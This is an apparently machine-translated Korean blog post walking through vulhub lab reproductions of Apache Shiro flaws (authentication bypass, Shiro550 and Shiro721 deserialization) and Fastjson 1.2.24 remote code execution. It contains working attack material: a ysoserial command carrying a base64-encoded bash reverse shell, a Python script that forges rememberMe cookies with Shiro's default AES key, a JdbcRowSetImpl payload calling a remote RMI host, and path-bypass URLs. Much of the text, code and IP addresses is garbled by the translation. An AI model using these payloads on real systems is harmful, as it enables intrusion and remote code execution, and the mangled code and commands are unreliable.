Jump to content

시로

Apache Shiro는 복잡한 문제를 숨기고 개발자가 자신의 프로그램 보안 코드를 쉽게 개발할 수 있도록 명확하고 직관적 인 API를 제공하기 위해 인증, 승인, 암호화 및 세션 관리 기능을 제공합니다.

Shiro는 Shiro가 개발 팀을 개발하는 것에 중점을 둡니다. 개발 팀은 "4 개의 보안 초석" - 인증, 승인, 세션 관리 및 암호화

인증 : 사용자 신원 식별. 때로는 "로그인"으로 간주 될 수 있는데, 이는 사용자가 자신이 누구인지 증명하는 행위입니다. 권한 부여 : "무엇"에 액세스 할 수있는 것 "을 결정하는 것과 같은 액세스 제어 프로세스. 세션 관리 : 웹 또는 EJB 컨테이너가없는 환경에서도 사용자 세션을 관리합니다. 사용자 시간 관련 상태를 관리합니다. 암호화 : 암호화 알고리즘을 사용하여 데이터를보다 안전하게 보호하고 데이터를 엿보기를 방지하십시오. @shiro333333https://github.com/vulhub/vulhub/tree/master/shiro

CVE-2010-3863 : Apache Shiro 인증 우회 취약성

취약성 원칙

Apache Shiro 1.1.0 이전에 Shiro는 권한 확인을 수행하기 전에 URL을 표준화하지 않았습니다. 공격자는 허가 확인을 우회하기 위해 /, //, /./, /… /등을 구성 할 수 있습니다.

는 버전에 영향을 미칩니다

Shiro 1.1.0 및 JSecurity 0.9.x

취약성 재발

액세스 페이지 주소는 IP:8080입니다

취약점/관리자

크로스 디렉토리를 사용하여 사전 퍼지 테스트

image.png

image.png

CVE-2016-4437 : Apache Shiro 1.2.4 사막화 취약성/Shiro550

취약성 원칙

Shiro550 취약점에 속합니다.

Apache Shiro 1.2.4 및 이전 버전에서는 암호화 된 사용자 정보가 Serimalized 및 Remember-Me라는 쿠키에 저장되었습니다. 공격자는 Shiro의 기본 키를 사용하여 사용자 쿠키를 위조하고 Java Desorialization 취약성을 트리거 한 다음 대상 기계에서 임의의 명령을 실행할 수 있습니다.

Shiro는 기본적으로 CookierememberMemanager를 사용하고 RememberMeManaer 클래스, AES 암호화 및 Base64 인코딩 작업에서 Remembe Field 컨텐츠를 직렬화합니다. 신원을 식별 할 때는 쿠키에서 Rememberme 필드를 해독해야합니다. 암호화 순서에 따르면, 암호 해독 순서는==쿠키-베이스 64 디코딩 -AES 암호 해독 방지를 얻는 것으로 추론 될 수있다.==

는 버전에 영향을 미칩니다

Apache Shiro=1.2.4

취약성 재발

인증, 승인, 암호 및 세션 관리를 위해 Shiro 프레임 워크에서 페이지 로그인을 사용하는지 여부를 결정합니다.

판단 방법 : 비밀번호 기억 옵션을 확인한 후 로그인을 클릭하고 패킷을 잡고 요청 패키지에 기억 필 필드가 있는지 여부와 응답 패키지에 set-cookie:remembeme=deleteme 필드가 있는지 여부를 관찰하십시오. 아래 그림과 비슷합니다.

image.png

image.png

Rememberme=deleteme 필드가 응답 패키지에 나타나는 한 취약성이 있음을 의미합니다. 일방적으로 넣으려면, 기억력에 표시되면, Rememberme=deleteme 필드가 나타나면 로그인 페이지가 인증을 위해 Shiro를 사용하고 요청 패키지의 쿠키에 취약성과 리콜 필드가 있음을 직접 표시하지 않으며 반환 패키지 세트 쿠키에는 deleteme 필드가 없음을 나타냅니다. 로그인이 실패하면 Rememberme 필드가 확인되었는지 여부에 관계없이 리턴 패키지에는 Rememberme=deleteme 필드가 있습니다. 로그인이 성공하면 반환 패키지에는 Rememberme=deleteme 필드가 있습니다. 로그인이 성공하면 반환 패키지 세트 쿠키에는 Rememberme=deleteme 필드가 있습니다. 그러나 모든 후속 요청에서 쿠키에는 Remember Me Field Check Rememberme가 없습니다. 로그인이 성공하면 반환 패키지에는 Set-Cookie에 RememberMe=Deleteme 필드가 있으며 Rememberme 필드가 있습니다. 모든 후속 요청에서 쿠키에는 기억력이 기억되거나 쿠키 다음에 기억에 남는 다음 기억에 남을 수 있습니다.

java -cp ysoserial.jar ysoserial.exploit.jrmplistener 6666 commonscollections4 'bash -c {echo, ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=} | {base64, -d} | {bash, -i} '

shiro-exploit.py를 사용하여 Shiro의 기본 키를 얻으십시오 (공구 주소 : https://github.com/insightglacier/shiro_exploit).

image.png

shiro.py를 사용하여 페이로드를 생성합니다 (키를 직접 변경해야합니다. Shiro.py 코드는 다음과 같습니다.)

명령 : Shiro.py 192.168.17.13233606666

Shiro.py:

SYS 가져 오기

UUID 가져 오기

베이스 64 수입

수입 하위 프로세스

Crypto에서 Cipher Import AES에서

def encode_rememberme (명령) :

Popen=subprocess.popen ([ 'java', '-jar', 'ysoserial-0.0.6-snapshot-all.jar', 'jrmpclient', command], stdout=subprocess.pipe)

bs=aes.block_size

PAD=LAMBDA S: S + ((BS -LEN (S) %BS) * chr (BS -LEN (S) %BS)). Encode ()

key=base64.b64decode ( 'kph+bixk5d2deziixcaaaa==')

iv=uuid.uuid4 (). 바이트

alcryptor=aes.new (key, aes.mode_cbc, iv)

file_body=pad (popen.stdout.read ())

base64_ciphertext=base64.b64encode (iv + alcryptor.encrypt (file_body))

base64_ciphertext를 반환합니다

__name__=='__ 메인 __': 인 경우

페이로드=encode_rememberme (sys.argv [1])

print ( 'Rememberme={0}'. 형식 (payload.decode ()))

Python3 Shiro.py 192.168.200.12933606666

로그인 한 후 패킷을 잡고 데이터 패킷의 쿠키 값을 shiro.py가 생성 한 기억으로 교체하십시오.

image.png

CVE-2020-1957 : Apache Shiro 인증 우회 취약성

취약성 원칙

프로젝트 전반에 걸쳐 요청한 URL의 들어오는 전달 프로세스를 분석해야합니다. Shiro를 사용하는 프로젝트에서는 우리가 요청한 URL (URL1)으로 Shiro 권한 (URL2)에 의해 검사 된 URL (URL1)이며 마지막으로 SpringBoot 프로젝트로가는 경로를 찾습니다 (URL3).

취약점은 URL1, URL2 및 URL3에서 발생합니다. 동일한 URL이 아니기 때문에 시로의 확인을 우회하고 백엔드에 직접 액세스하게됩니다. 이 경우의 취약점은 이러한 이유로 인해 발생합니다.

Shiro Framework는 Anon, AuthC 및 기타 인터셉터와 같은 인터셉터 기능을 통해 사용자 액세스 권한을 제어합니다. Anon은 익명의 인터셉터이며 로그인에 액세스 할 필요가 없습니다. AuthC는 로그인 인터셉터이며 액세스에 로그인해야합니다.

는 버전에 영향을 미칩니다

Apache Shiro 1.5.2

취약성 재발

image.png

URL 변경 /admin로 변경 로그인 로그인 페이지로 자동 이동합니다.

image.png

허가 우회에 대한 악의적 인 요청을 구성

코드 레벨이 추가되었으므로; 우회 된 것으로 인식 될 것입니다. 하나/단락을 추가하십시오.

URL은 /xxx/.

/xxx/./admin/

image.png

시로 721

취약성 재발 : CVE-2019-12422

환경 : Kali Linux

Docker 빌드 및 시작

git 클론 https://github.com/3ndz/shiro-721.git

CD Shiro-721/Docker

Docker Build -t Shiro -721.

Docker Run -P 8080:8080 -D Shiro -721

입장:

image.png

image.png

image.png

올바른 계정 비밀번호로 로그인하면 아래 그림과 같이 두 개의 요청 패킷, 즉 게시 및 getPost 요청 패킷 (올바른 계정 비밀번호로 로그인하여 얻은 패키지 image.png

Get Request 패키지는 다음과 같습니다 (이것은 올바른 암호로 로그인하여 쿠키 값을 배경에 주로 제출하여 얻은 패키지입니다) image.png Repemerme=deleteme 필드를보고 Shiro Deserialization 취약성 image.png가 있다고 말할 수 있습니다.

Burp Plugin은 Shiro의 지문을보기 위해 HAE 및 LOGGER ++를 추가합니다.

image.png

image.png

도구 활용 :

image.png

FastJson

@fastjson:https://github.com/vulhub/vulhub/tree/master/fastjson

취약성 원칙

이 취약점의 원칙은 Fastjson의 사막화 메커니즘에 있습니다. Fastjson이 JSON 데이터를 파싱하면 JSON 데이터를 Java 객체로 변환하려고합니다. 이 프로세스에서 Fastjson은 JSON 데이터의 유형 정보를 기반으로 데이터를 구문 분석하는 방법을 결정합니다. 공격자는이 기능을 활용하여 JSON의 특정 데이터 유형과 구조를 구성 할 수 있으므로 FastJSON은 구문 분석 중에 악의적으로 구성된 Java 클래스 또는 방법을 호출하여 원격 코드 실행을 실현합니다.

일반적인 악용 방법은 FastJson의 자동 형 기능을 사용하는 것입니다. Autotype은 SASTJSON의 기능으로 직렬화 및 사제화 할 때 클래스의 완전히 자격을 갖춘 클래스 이름을 사용할 수 있습니다. 공격자는 악의적 인 JSON 데이터를 구성하고 악의적 클래스를 자동 타입의 값으로 사용할 수 있습니다. FastJson이 소화되면 지정된 클래스를 인스턴스화하여 클래스에서 코드를 실행하려고 시도합니다 (Exploit 프로세스에서는 JDBCrowsetlmpl이 일반적으로 체인을 이용하도록 악용).

@Type 필드

@type는 객체 유형 정보를 처리하는 데 사용되는 Fastjson의 특수 필드 중 하나입니다. JSON 데이터에서 @Type 필드는 사막화 중에 인스턴스화 해야하는 클래스의 유형을 지정하는 데 사용될 수 있습니다. 이 필드는 일반적으로 특히 Fastjson의 Autotyp 함수가 활성화 될 때, 사막화 중 객체의 유형 정보를 지정하는 데 사용됩니다.

@type 필드를 통해 Fastjson은 인스턴스화 할 클래스를 식별하고 해당 필드에 제공된 클래스 경로를 기반으로 객체를 만들 수 있습니다. 이것은 객체의 정확한 유형을 지정할 수 있으므로 복잡한 객체 구조를 직렬화하고 실조화 할 때 매우 유용합니다.

그러나 @type 필드의 존재와 사용으로 인해 악의적 인 사용자 가이 필드를 사용하여 악의적 인 JSON 데이터를 구성하고 @Type 필드에 악의적 인 클래스 경로를 지정할 수 있습니다. 이러한 방식으로, 사막화 과정에서 FastJson은 @Type 필드에서 지정된 클래스 경로를 기반으로 해당 클래스를 인스턴스화하여 악의적 인 코드가 실행되거나 보안 취약성이 악용 될 가능성이 있습니다.

jndi

JNDI, RMI 및 LDAP는 다양한 목적으로 Java에서 사용되는 기술입니다.

JNDI (Java Naming and Directory Interface) : JNDI는 Java의 API 세트로 다양한 이름 지정 및 디렉토리 서비스에 액세스하는 데 사용됩니다. JNDI는 Java 애플리케이션이 DNS, LDAP, RMI 레지스트리 등과 같은 다양한 이름 지정 및 디렉토리 서비스를 연결하고 사용할 수있는 통합 액세스 방법을 제공합니다. RMI (원격 메소드 호출) : RMI는 Java에서 원격 메소드 호출을 구현하는 데 사용되는 메커니즘입니다. 다른 Java 가상 머신 간의 객체 간의 통신 및 메소드 호출을 허용합니다. 분산 시스템에서 RMI를 사용하면 원격 시스템이 서로의 방법을 호출하여 원격 객체 간의 상호 작용을 달성 할 수 있습니다. LDAP (Lightweight Directory Access Protocol) : LDAP는 분산 디렉토리 서비스에 액세스하는 데 사용되는 프로토콜입니다. JNDI는 Java에서 일반적으로 사용자 정보, 조직 구조 등과 같은 구조화 된 데이터를 저장하는 데 사용됩니다. JNDI는 LDAP 액세스를 지원하며 JNDI가 사용자 인증, 데이터 검색 등과 같은 LDAP 디렉토리 서비스를 연결하고 운영 할 수 있도록합니다. JNDI (JVA API)를 포함한 JNDI의 관계는 LDAP에 접근하는 방법을 제공한다는 것입니다. JNDI를 사용하면 LDAP 서버를 연결하고 작동하고 LDAP 디렉토리에 데이터를 검색하고 저장할 수 있습니다. 또한 JNDI를 사용하여 RMI 레지스트리에서 원격 객체를 찾아 원격 메소드 호출을 구현할 수도 있습니다.

요약하면, JNDI는 Java의 API로서 다양한 서비스에 액세스 할 수있는 통합 된 방법을 제공하여 Java 응용 프로그램이 LDAP 및 RMI 레지스트리와 같은 다양한 명칭 및 디렉토리 서비스를 연결하고 운영 할 수 있도록합니다.

jdbcrowsetimpl은 체인을 사용합니다

Fastjson에서는 사막화 공격에 jdbcrowsetimpl을 사용합니다. JDBCROWSETIMPL의 활용 체인의 초점은 자동 커밋 세트 메소드를 호출하는 방법입니다. Fastjson Dessorialization의 특징은 클래스의 설정 방법을 자동으로 호출하므로 사막화의 문제가 있다는 것입니다. @type 유형이 공식화되는 한 해당 클래스를 자동으로 호출하여 구문 분석합니다.

이렇게하면 활용 체인을 구성 할 수 있습니다. @Type 유형이 JDBCrowsetImpl이면 JDBCrowsetImpl 클래스가 인스턴스화됩니다. 따라서 DataSourceame이 조회 방법으로 전달되는 한 원격 공격 서버에 액세스 할 수있는 다음 Autocommit 속성을 사용하여 조회를 트리거 할 수 있습니다. 전체 프로세스는 다음과 같습니다.

SetAutoCommit 함수를 사용하여 Connect 함수 트리거 기능을 트리거하여 DataSourceName - Autocommit 속성 설정 - 자동 커미트 속성 설정 - 자동 커미트 속성 설정 - 아래 조회 함수를 트리거하여 아래의 조회 함수는 방금 설정 한 DataSourCeame 매개 변수를 사용하여 RMI를 통해 원격 서버에 액세스 할 수 있습니다.

익스플로잇은 다음과 같습니다.

{ "@type": "com.sun.rowset.jdbcrowsetimpl", "dataSourceName": "RMI: //192.168.17.39:999/Exploit", "Autocommit":true}

1. DataSourceame은 Autocommit 앞에 배치해야합니다. 사막화가 설정되면 속성이 순서대로 설정되고 Etdatasourcename을 먼저 설정 한 다음 setAutocommit을 설정하기 때문입니다. 2. RMI의 URL은 검색 할 원격 공장 클래스의 이름을 검색 할 수 있습니다.

FastJSON DETECTION 버전

1. DNSLOG를 사용하여 가져 가십시오. 대부분의 DNSLOG가 블랙리스트에 기록되기 때문에 자신의 DNSLOG를 사용하는 것이 가장 좋습니다.

2. 오류 메시지가 있으며, 버전 번호 페이로드는 결함이있는 코드 블록을 입력하고 예외를 던지기 전에 "{"and ","읽지 않았습니다.

3. 스크립트를 사용하여 버전 번호를 신속하게 감지하십시오. 즉, 각 POC는 한 번 호출됩니다.

CVE-2017-18349 FASTJSON 1.2.24-RCE

0x00 소개

Fastjson은 Alibaba의 오픈 소스 JSON 구문 분석 라이브러리입니다. JSON 형식으로 문자열을 구문 분석하거나 JSON 현으로의 Java Bean을 직렬화하거나 JSON 현에서 Javabeans로 변형됩니다. 즉, FastJson의 주요 기능은 Java Beans를 JSON 문자열로 직렬화하여 문자열을 얻은 후 데이터베이스 등을 통해 지속될 수 있습니다.

0x01 취약성 개요

JSON을 구문 분석하는 과정에서 FastJSON은 자동 타입을 사용하여 특정 클래스를 인스턴스화하고 클래스의 세트/GET 메소드를 호출하여 속성에 액세스합니다. 코드에서 관련 방법을 찾으면 악의적 인 악용 체인이 구성 될 수 있습니다.

0x02는 버전에 영향을 미칩니다

영향 범위 : FastJson=1.2.24

0x03 환경 구성

CD /VULHUB/FASTJSON/1.2.24-RCE

Docker -Compose Up -D

도커 PS

image.png

Docker는 포트 8090을 열고 대상 기계 IP에 액세스합니다

http://192.168.200.16633608090/

image.png

JDK 버전 스위칭

취약성 익스플로잇은 JDK8을 필요로하고 Kali와 함께 제공되는 JDK는 JDK11을 여기서 사용할 수 없으므로 Kali의 JDK1123을 먼저 제거하십시오.

dpkg --- 목록 | grep -i jdk #view 설치 JDK 패키지

APT-GET PURGE OPENJDK-* #UNINSTALL OPENJDK 관련 패키지

dpkg --- 목록 | Grep -I JDK #모든 JDK 패키지가 제거되었음을 확인하십시오.

JDK1.8을 다운로드하십시오

https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz

image.png

압축 패키지를 Kali 및 압축 압력에 넣고 환경 변수를 구성하십시오.

MV JDK-8U212-LINUX-X64.TAR.GZ /OPT /JAVA #PLAPE IN /OPT /JA

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...